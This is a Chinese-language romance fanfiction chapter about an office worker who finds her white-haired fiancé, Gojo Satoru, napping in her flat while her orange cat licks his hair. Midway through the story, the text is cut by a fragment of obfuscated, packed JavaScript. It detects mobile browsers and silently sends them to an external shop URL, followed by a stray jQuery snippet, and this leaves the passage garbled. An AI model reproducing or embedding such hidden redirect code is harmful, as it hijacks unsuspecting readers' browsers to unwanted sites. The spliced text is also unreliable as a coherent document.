说来惭愧,近来我偶尔会有点想死。
-
“——总而言之,对方现下其实找不到比我们更好的合作伙伴。但考虑到你是初次独自商谈,被带偏节奏倒也很正常。”
“大江次长的指责不用放在心上——她不是冲你来的。我会负责收尾,只是有必要让你知道这次商谈的问题在哪里。”
-
虽然我就职的这家奇葩公司看起来不缺钱的样子,甚至像是开来洗钱用的,但涉及到我的项目奖金,少一百円我都觉得可惜。
天知道我这高压、繁忙又无望的职业生涯能持续多久。
“……非常抱歉,朝仓部长,下次我一定会吸取教训。”
电话里传来年轻下属喏喏道歉的声音。
指纹锁嘀嘀亮了绿灯,我歪着头夹着电话,怀抱着厚厚一沓信件搡开门,顺脚在地毯上踢掉高跟鞋。
两声闷响,外加一声焦头烂额的叹息。
真想死啊。每天一起床就想死。一上班就想死。一接电话就想死。一饿就想……吃饱了再死。
门口清清静静,生姜罕见地没有蹲守在鞋柜边,喵喵咪咪地来我腿边磨蹭、检阅我的打猎情况。
我立在门口,第一时间察觉异样,放低了声音。
“22日还有一轮,我亲自去谈,其他我周一回公司再处理,就这样。”
-
我尽可能轻地将文件摞在鞋柜上,歪着身子让肩头的五六个奢侈品袋也滑落下去,尔后一手抽掉夹在头肩的手机,挂掉电话。
直起身,活动了一下僵硬的肩颈,我心情复杂地长出口气。
然后是拖鞋、拖鞋……
我左右张望一圈,试图挽救一下形象,绝望地发现我那刚买没多久的蓝色玉桂狗厚底可爱凉拖,一只像被掀翻的乌龟倒在了厨房门口,另一只被生姜叼去了阳台,正挂在那盆百合竹最顶端。
大概猫生来就讨厌狗,玉桂狗也难以幸免。
当时直接买了两双回来,早知道我就穿粉色Hello Kitty那款试试。
主要是我这几年……变得更喜欢蓝色了。
-
想蹑手蹑脚搞回来那两只无辜的拖鞋,路过客卧门口的时候,还是没忍住停了下来。
房门虚掩着,里面黑漆漆的,寂静无声。
门槛上斜斜躺着一副墨镜,微微闪着暗彩。
突然就感觉没那么想死了。
-
一看就价格不菲的墨镜,却被他这样随意甩在地毯上,摆明了是想勾引我。
也对。这样的墨镜,我在他脸上见过不知道有多少副。
我无声叹了口气,弯腰拾起来。
明明只是区区墨镜而已,而不是什么子弹头内裤,我心跳却无端加速,像是和那一丁点残留的荷尔蒙起了反应。
我终于还是推开门,朝里面张望了一眼,竭力试图看清楚。
-
五条悟打算大睡一觉的时候,会郑重其事地把窗帘拉得很严实很严实,一点光都不透进来,说是对光线很敏感。
就他戴墨镜来见我的频率来说,应该是十句玩笑话里罕见的一句真话。
也使我的偷窥分外艰难。我把门缝打得更开了。
床脚的地面上,落着一套深黑混纺长裤和外套,白衬衫随意搭在门边的衣架上,覆住了我本来挂在上面的香槟色睡裙。
很宽大的衬衫,几乎把我的睡裙遮完了。
我都能想象到他故意把衬衫压在上面时恶趣味的表情。我的心跳又加快了一点。
就着客厅漏进去的微光,我终于看到床上模糊的轮廓。
他似乎睡得很香。
这次距离他上次回来隔了两个半月。
又破纪录了。可喜可贺。
-
这男人身形实在太高大,长手长脚从被褥里探出来,手臂线条流畅优美,皮肤在昏暗里显成冷青色。
往床头看,我能模糊辨认他的脖颈和喉结,然后那峰峦一样的线条应该是鼻梁……
我欣赏着,心脏像被扎了个洞,那点幽怨之气飞速泄掉。
乱糟糟的头发像长毛猫一样,怪不得生姜爱不释嘴、舔来舔去——
我反应过来,倒吸一口凉气。
我无声怒瞪某只窝在床头殷勤舔发的大肥橘猫,做口型:
生!姜!
-
生姜像是有所感应,舔五条悟头发的动作顿了顿,抬头无辜地瞄我一眼,就又低头继续舔。
两颗圆滚滚的尊严早就被卸掉的公猫,对着一个大男人贴什么贴啊。
而且每次他回来都这样。
我黑了脸,悄无声息地摸进屋子,挪到床边,整个过程漫长煎熬,背上汗都渗出来了。
终于成功抱起生姜,我顺便朝床上瞟了一眼。
离得近了,我能看见男人喉结随呼吸起伏,雪白的双睫静静扣在脸颊上。
眉骨挺括,唇很薄,却又饱满润泽。
-
这家伙怎么连睡着了都一副似笑非笑、气定神闲的表情呢。
不像我,一睡着就张大嘴一副憨厚之相,都不敢在公司小憩,以免破坏形象。
怎么修炼出来的,想学。
-
只是稍微走了神而已,怀里的超重大橘不满地扭动了两下,发出了一声超级响亮又沧桑的猫叫。
“喵——”
我心要跳出嗓子眼,迅速抬住生姜下巴,试图警告它别吵。
生姜的两只猫耳被我挤住,很不爽地弹动两下,尾巴也高频率甩来甩去。
还好床上的家伙仍然静静睡着,应该是没醒。
我转身,试图加快速度朝外走。
生姜大人和心上男分离,越发焦躁,剧烈挣扎,嘴里像个突突突的机关枪。
“喵喵喵喵喵——”
背后终于传来身体翻动的窸窣声。
我僵住了。
尔后是一声戏谑的、浮夸的叹气声。
我很抱歉很惭愧地立住。
“啪”的一声,床头灯被打开了,满室亮起昏黄的光。
-
“诶?”
我听见未婚夫明知故问的困惑声音:“我的头顶怎么全湿掉了,口水是能倒流到那里去的吗?”
-
生姜终于拗过了我僵硬发酸的手臂,从我怀里一扭,轰轰烈烈落在床上,跑回我背后。
我转身。
“那个……打扰你睡觉了。”我道歉:“对不起。”
稍微静了片刻。
“没关系啊。”
五条悟坐在床上装模作样地擦嘴巴,声音还有点哑,蓬松的白发乱得像鸟窝,但那张脸却也还是漂亮得要命。
“其实你一进门,我就差不多醒了。”
这人也太敏锐了。
他裸着上身,被子围在腰间,惺忪垂着眼,正一本正经地低头检阅着是否在我枕头上留下了口水印记,顺口估算:“刚刚差不多有睡够一小时,对于档期满满的我来说已经很奢侈了哦。”
生姜隔着被子窝在他腿上,舔他手指。
他冷哼一声,指着它委屈控诉:“这家伙刚刚一直舔我头发,黏糊糊湿了一大片啊。”
我再次道歉:“不好意思,它……很喜欢你才这样的。”
他顿了顿,终于看我一眼。
那双眼睛实在绮丽,眼瞳像晶亮的蓝宝石,浓密的睫毛雪白洁净,眼型流畅精致,令我呼吸一滞。
尔后他就垂下眼,用修长的手指抵住橘猫的额头,拉长了声音:“但我不喜欢它——叫大蒜是吧?”
生姜完全听不懂,还眯着眼蹭他指腹,尽显太监谄媚之相。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724496|208797||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>真是猫心错付。
-
我很无奈地叹了口气,纠正他。
“不是啦——”
“它叫生姜。”
五条悟噎了噎,一副无所谓的样子,对着我嬉皮笑脸。
“这样啊,抱歉。”他讨好地眨眨眼:“每次都把它的名字记错。”
“要道歉也该朝着它吧,我无所谓啊。”
“明明你刚刚也是在替它道歉嘛。”
我有点没话说了。
他满意地看着哑口无言的我,自说自话地敲定。
“那既然你也对不起我,我也对不起你——”
“我们就算扯平好了。”
他皮笑肉不笑。
“之后谁再说一句‘对不起’,就完蛋了喔。”
-
他那么聪明一个人,这两年来我这里也有那么多次了,怎么可能不记得生姜的名字。
我知道他是故意的。
他是察觉我太客气了——虽然不知道我为什么莫名其妙变得这么客气——但还是很娴熟地故意制造一点破绽给我数落。
我很愿意配合他。
-
五条悟去浴室洗头冲澡,我在厨房里,杵着料理台发呆。
其实我对吃饭不算随便——因为我希望尽量保持健康的身体、苗条的身材和容光焕发的皮肤。
但也不算非常精致。
贴在冰箱上的便利贴上简单列了我一周计划的午餐和晚餐,今天是周五,我本应煎一块牛排、拌一个土豆泥蔬菜沙拉,看起来还是非常周全的。
而冰箱也空到恰好只剩下这点东西了。
但总不能让他一个人高马大的男人陪我一起吃草吧。
我先是这么想,尔后又开始觉得烦躁。
好麻烦啊。又想死了。
大概是因为今天下午经历之事太过冲击屈辱,以往我是绝对绝对不会这么没耐心的。
怒向胆边生,我撕下一张崭新的便利贴,在上面画了一坨大便,然后朝冰箱上的食谱“啪”地盖了上去。
愁什么愁,出去吃不就好了,还省得做饭。
-
五条悟擦着半湿的头发出来,还是大喇喇裸着上身,穿一条他搁在我这边的休闲亚麻裤。
裤长惊人,竟然能拖到他脚跟。我顺着裤腿朝上看。
是比男模有性张力无数倍的身材。黄金倒三角,腹肌胸肌饱满,手臂劲瘦,皮肤白皙,还带着沐浴后的粉气。
那张脸懒洋洋朝着我,气质和眉眼皆锋利,像优雅又带刺的蓝玫瑰。
可恶。这家伙又勾引我。
我时常自省,怀疑自己是不是喜欢五条悟这人的色相,胜过了他的内在,也胜过了他的财富。
省出来的结果是,三者我多多少少都喜欢,不太好分清楚。
我本来坐在沙发上等他出来,头晕目眩了一瞬,一时连二郎腿都不好意思晃悠了。
生姜倒是好意思得很,正在墙边吭哧吭哧干饭,推土机一样。
我看清他脚下踩的粉色凯蒂猫拖鞋,略微顿了一顿。
不知道他是怎么从那一大堆简约款男士拖鞋里精准翻出来这一双的。
-
“晚饭要出去吃。”我朝他解释:“冰箱里没东西了。”
“诶?”他眯着眼睛审视我,拉长声音:“我明明说过不可以减肥诶,真弥子怎么这么不听话啊。”
不要用这种幼稚的词形容我啊。
他有时会这样突然散发压迫感,搞得本来理直气壮的我都有点畏惧了。
“没有减肥。”我有理有据:“只是恰好吃完了而已——这证明我吃得很新鲜。”
他盯了我两秒钟,尔后自顾自踢踢踏踏去了厨房:“让我来看看你一周都吃些什么——没记错的话,你习惯了把一周菜单贴在冰箱上的,对吧?”